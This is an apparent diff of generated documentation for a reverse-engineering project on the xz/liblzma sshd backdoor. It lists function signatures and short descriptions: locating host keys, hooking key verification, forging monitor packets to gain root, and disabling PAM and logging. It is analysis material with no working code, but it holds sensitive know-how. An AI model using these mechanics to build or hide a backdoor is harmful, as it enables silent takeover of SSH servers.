the payload header. also used as Chacha IV
find_call_instruction
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
elf_functions
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
@@ -2321,12 +2326,12 @@
is_range_mapped
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
sshd_get_sensitive_data_score_in_do_child
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
sshd_find_sensitive_data
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
-
CommandFlags1
CommandFlags1
Definition: xzre.h:1814
-
CMDF_SETLOGMASK
@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1822
-
CMDF_NO_EXTENDED_SIZE
@ CMDF_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1834
-
CMDF_SOCKET_INDEX
@ CMDF_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1826
-
CMDF_DISABLE_PAM
@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1830
-
CMDF_8BYTES
@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1818
+
CommandFlags1
CommandFlags1
Definition: xzre.h:1815
+
CMDF_SETLOGMASK
@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1823
+
CMDF_NO_EXTENDED_SIZE
@ CMDF_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1835
+
CMDF_SOCKET_INDEX
@ CMDF_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1827
+
CMDF_DISABLE_PAM
@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1831
+
CMDF_8BYTES
@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1819
sshd_proxy_elevate
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
backdoor_symbind64
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
find_instruction_with_mem_operand
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
@@ -2342,7 +2347,7 @@
find_lea_instruction_with_mem_operand
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
cpuid_reloc_consts
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
sshd_get_sensitive_data_address_via_krb5ccname
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
-
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1580
+
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1581
find_string_reference
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
sshd_get_sensitive_data_score
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
secret_data_get_decrypted
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
@@ -2365,6 +2370,7 @@
elf_find_string_references
BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs)
parses the ELF rodata section, looking for strings and the instructions that reference them
backdoor_data_handle_t
struct backdoor_data_handle backdoor_data_handle_t
data passed to functions that access the backdoor data
mm_answer_keyverify_hook
int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m)
used in conjunction with mm_answer_keyallowed_hook to bypass the key validity check
+
backdoor_runtime_data_t
union backdoor_runtime_data backdoor_runtime_data_t
union used within run_backdoor_commands
elf_symbol_get
Elf64_Sym * elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version)
Looks up an ELF symbol from a parsed ELF.
count_bits
u32 count_bits(u64 x)
returns the number of 1 bits in x
run_backdoor_commands_data_t
struct run_backdoor_commands_data run_backdoor_commands_data_t
stack frame layout for run_backdoor_commands
@@ -2376,12 +2382,11 @@
key_payload_t
struct key_payload key_payload_t
the contents of the RSA 'n' field
tls_get_addr_reloc_consts
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
special .rodata section that contains __tls_get_addr() related GOT offsets
is_gnu_relro
BOOL is_gnu_relro(Elf64_Word p_type, u32 addend)
checks if the provided identifiers represent a PT_GNU_RELRO
-
payload_t
union payload payload_t
payload union within run_backdoor_commands
resolver_call_count
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
init_hook_functions
int init_hook_functions(backdoor_hooks_ctx_t *funcs)
Initializes the structure with hooks-related data.
-
CommandFlags3
CommandFlags3
Definition: xzre.h:1871
-
CMDF_SOCKET_NUM
@ CMDF_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1875
-
CMDF_MONITOR_REQ_VAL
@ CMDF_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1879
+
CommandFlags3
CommandFlags3
Definition: xzre.h:1872
+
CMDF_SOCKET_NUM
@ CMDF_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1876
+
CMDF_MONITOR_REQ_VAL
@ CMDF_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1880
init_elf_entry_ctx
ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx)
initialises the elf_entry_ctx_t
monitor_data_t
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
cpuid_random_symbol
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol